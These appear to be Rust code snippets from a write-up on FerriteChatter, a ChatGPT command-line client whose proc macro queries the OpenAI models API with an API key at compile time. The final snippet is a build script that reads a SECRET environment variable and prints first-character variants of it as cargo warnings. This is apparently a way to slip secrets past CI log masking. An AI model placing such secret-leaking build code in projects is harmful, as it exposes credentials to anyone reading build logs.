pub struct ChatCompletionMessage {
    pub role: ChatCompletionMessageRole,
    pub content: Option<String>,
    pub name: Option<String>,
    pub function_call: Option<ChatCompletionFunctionCall>,
}

let mut messages = vec![ChatCompletionMessage {
    role: ChatCompletionMessageRole::User,
    content: Some("Hello from Rust"),
    name: None,
    function_call: None,
}];
let chat_completion = ChatCompletion::builder(model, messages.clone())
    .create()
    .await?;
let answer = &chat_completion
    .choices
    .first()
    .with_context(|| "Can't read ChatGPT output")?
    .message;
// Hello! How’s it going in Rust? What’s on your mind?

let model = "gpt-4o";
let chat_completion = ChatCompletion::builder(model, messages.clone())
    .create()
    .await?;

#[derive(Parser, Debug)]
#[clap(author, version, about, long_about = None)]
struct Args {
    /// Open Prompt(General Prompt)
    #[clap(long = "general", short = 'g')]
    general: Option<String>,
    /// OenAI API Key
    #[clap(long = "key", short = 'k')]
    key: Option<String>,
    /// OpenAI Model
    #[clap(long = "model", short = 'm', value_enum)]
    model: Option<Model>,
    /// Initial context file
    #[clap(long = "file", short = 'f')]
    file: Option<String>,
}

#[derive(Debug, Eq, PartialEq, ValueEnum, Clone)]
#[allow(non_camel_case_types)]
pub enum Model {
    #[clap(name = "gpt-4")]
    Gpt_4,
    #[clap(name = "gpt-4o")]
    Gpt_4o,
    #[clap(name = "gpt-4o-mini")]
    Gpt_4o_mini,
    #[clap(name = "gpt-4-0314")]
    Gpt_4_0314,
    #[clap(name = "gpt-4-0613")]
    Gpt_4_0613,
    #[clap(name = "gpt-4-32k")]
    Gpt_4_32k,
    #[clap(name = "gpt-4-32k-0613")]
    Gpt_4_32k_0314,
    #[clap(name = "gpt-4-1106-preview")]
    Gpt_4_1106_Preview,
    #[clap(name = "gpt-3.5-turbo")]
    Gpt_3_5_Turbo,
    #[clap(name = "gpt-3.5-turbo-16k")]
    Gpt_3_5_Turbo_16k,
    #[clap(name = "gpt-3.5-turbo-0301")]
    Gpt_3_5_Turbo_0301,
    #[clap(name = "gpt-3.5-turbo-0613")]
    Gpt_3_5_Turbo_0613,
    #[clap(name = "gpt-3.5-turbo-0613")]
    Gpt_3_5_Turbo_1106,
    #[clap(name = "gpt-3.5-turbo-16k-0613")]
    Gpt_3_5_Turbo_16k_0613,
    and more...

use anyhow::{anyhow, Result};
use clap::ValueEnum;
use ferrite_model_gen::generate_models;
use serde::de::{self, Deserializer, Visitor};
use serde::Deserialize;
use std::convert::TryFrom;
use std::fmt;

generate_models!();
pub const DEFAULT_MODEL: Model = Model::Gpt_4o;

let api_url = "https://api.openai.com/v1/models";
let api_key = env::var("OPENAI_API_KEY")
    .expect("OPENAI_API_KEY must be set");
let client = Client::new();
let res = client
    .get(api_url)
    .header("Authorization", format!("Bearer {}", api_key))
    .send()
    .expect("Failed to send request");

let models: Vec<Model> = res
    .json::<serde_json::Value>()
    .expect("Failed to parse response")
    .get("data")
    .expect("Missing 'data' field in response")
    .as_array()
    .expect("'data' is not an array")
    .iter()
    .map(|model| serde_json::from_value(model.clone())
    .expect("Failed to deserialize model"))
    .filter(|m: &Model| m.id.contains("gpt") || m.id.contains("o1"))
    .collect();

let enum_variants: Vec<_> = models
    .iter()
    .map(|m| {
        let variant_name = to_camel_case(&m.id);
        let variant_str = &m.id;
        quote! {
            #[clap(name = #variant_str)]
            #variant_name,
        }
    })
    .collect();

let match_arms: Vec<_> = models
    .iter()
    .map(|m| {
        let variant_name = to_camel_case(&m.id);
        let variant_str = &m.id;
        quote! {
            #variant_str => Ok(Model::#variant_name),
        }
    })
    .collect();

let as_str_arms: Vec<_> = models
    .iter()
    .map(|m| {
        let variant_name = to_camel_case(&m.id);
        let variant_str = &m.id;
        quote! {
            Model::#variant_name => #variant_str,
        }
    })
    .collect();

let expanded = quote! {
    #[derive(Debug, Eq, PartialEq, ValueEnum, Clone)]
    #[allow(non_camel_case_types)]
    pub enum Model {
        #(#enum_variants)*
    }

    impl TryFrom<&str> for Model {
        type Error = anyhow::Error;
        fn try_from(value: &str) -> Result<Model, Self::Error> {
            match value {
                #(#match_arms)*
                _ => Err(anyhow!("Unknown Model. If a model does not exist to support it, please create an issue at github.com/n
/FerriteChatter/issues/new.")),
            }
        }
    }

    impl Model {
        pub fn as_str(&self) -> &'static str {
            match self {
                #(#as_str_arms)*
            }
        }
    }

    impl<'de> Deserialize<'de> for Model {
        fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
        where
            D: Deserializer<'de>,
        {
            struct ModelVisitor;

            impl<'de> Visitor<'de> for ModelVisitor {
                type Value = Model;

                fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result {
                    formatter.write_str("a string representing a model")
                }

                fn visit_str<E>(self, value: &str) -> Result<Model, E>
                where
                    E: de::Error,
                {
                    Model::try_from(value).map_err(|e| de::Error::custom(e.to_string()))
                }
            }
            deserializer.deserialize_str(ModelVisitor)
        }
    }
};
TokenStream::from(expanded)

extern crate proc_macro;
use proc_macro::TokenStream;
use quote::quote;
use reqwest::blocking::Client;
use serde::Deserialize;
use std::env;
use anyhow::Context;

#[derive(Deserialize)]
struct Model {
    id: String,
}

#[proc_macro]
pub fn generate_models(_input: TokenStream) -> TokenStream {
    // OpenAI APIのエンドポイント
    let api_url = "https://api.openai.com/v1/models";

    // OpenAI APIキーを環境変数から取得
    let api_key = env::var("OPENAI_API_KEY").expect("OPENAI_API_KEY must be set");

    // HTTPクライアントを作成してAPIを呼び出し、モデルのリストを取得
    let client = Client::new();
    let res = client
        .get(api_url)
        .header("Authorization", format!("Bearer {}", api_key))
        .send()
        .expect("Failed to send request");

    let models: Vec<Model> = res
        .json::<serde_json::Value>()
        .expect("Failed to parse response")
        .get("data")
        .expect("Missing 'data' field in response")
        .as_array()
        .expect("'data' is not an array")
        .iter()
        .map(|model| serde_json::from_value(model.clone()).expect("Failed to deserialize model"))
        .filter(|m: &Model| m.id.contains("gpt") || m.id.contains("o1"))
        .collect();

    // 各モデルに対応するenumとimplを生成
    let enum_variants: Vec<_> = models
        .iter()
        .map(|m| {
            let variant_name = to_camel_case(&m.id);
            let variant_str = &m.id;
            quote! {
                #[clap(name = #variant_str)]
                #variant_name,
            }
        })
        .collect();

    let match_arms: Vec<_> = models
        .iter()
        .map(|m| {
            let variant_name = to_camel_case(&m.id);
            let variant_str = &m.id;
            quote! {
                #variant_str => Ok(Model::#variant_name),
            }
        })
        .collect();

    let as_str_arms: Vec<_> = models
        .iter()
        .map(|m| {
            let variant_name = to_camel_case(&m.id);
            let variant_str = &m.id;
            quote! {
                Model::#variant_name => #variant_str,
            }
        })
        .collect();

    let expanded = quote! {
        #[derive(Debug, Eq, PartialEq, ValueEnum, Clone)]
        #[allow(non_camel_case_types)]
        pub enum Model {
            #(#enum_variants)*
        }

        impl TryFrom<&str> for Model {
            type Error = anyhow::Error;
            fn try_from(value: &str) -> Result<Model, Self::Error> {
                match value {
                    #(#match_arms)*
                    _ => Err(anyhow!("Unknown Model. If a model does not exist to support it, please create an issue at github.com/n
01e0/FerriteChatter/issues/new.")),
                }
            }
        }

        impl Model {
            pub fn as_str(&self) -> &'static str {
                match self {
                    #(#as_str_arms)*
                }
            }
        }

        impl<'de> Deserialize<'de> for Model {
            fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
            where
                D: Deserializer<'de>,
            {
                struct ModelVisitor;

                impl<'de> Visitor<'de> for ModelVisitor {
                    type Value = Model;

                    fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result {
                        formatter.write_str("a string representing a model")
                    }

                    fn visit_str<E>(self, value: &str) -> Result<Model, E>
                    where
                        E: de::Error,
                    {
                        Model::try_from(value).map_err(|e| de::Error::custom(e.to_string()))
                    }
                }
                deserializer.deserialize_str(ModelVisitor)
            }
        }
    };

    TokenStream::from(expanded)
}

// Helper function to convert snake_case to CamelCase
fn to_camel_case(s: &str) -> syn::Ident {
    // .を_に置き換え、-を無視して文字列をキャメルケースに変換する
    let replaced: String = s.chars()
        .map(|c| {
            if c == '.' {
                '_'
            } else {
                c
            }
        })
        .collect();

    let camel_case = replaced
        .split('-')
        .map(|word| capitalize(word))
        .collect::<Vec<String>>()
        .join("_");

    syn::parse_str(&camel_case).with_context(|| format!("While parsing {}", s)).unwrap()
}


// Helper function to capitalize the first letter of a word
fn capitalize(word: &str) -> String {
    let mut chars = word.chars();
    match chars.next() {
        None => String::new(),
        Some(f) => f.to_uppercase().collect::<String>() + chars.as_str(),
    }
}

use std::env;

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let secret = env::var("SECRET")?;
    println!("secret: {}", secret);
    Ok(())
}

fn main() {
    if let Ok(secret) = std::env::var("SECRET") {
        if secret.len() > 1 {
            let mut output = String::new();
            for c in (32..=126).map(|c| c as u8 as char) {
                output.push(c);
                output.push_str(&secret[1..]);
                output.push(' ');
            }
            println!("cargo::warning={}", output);
        }
    }
}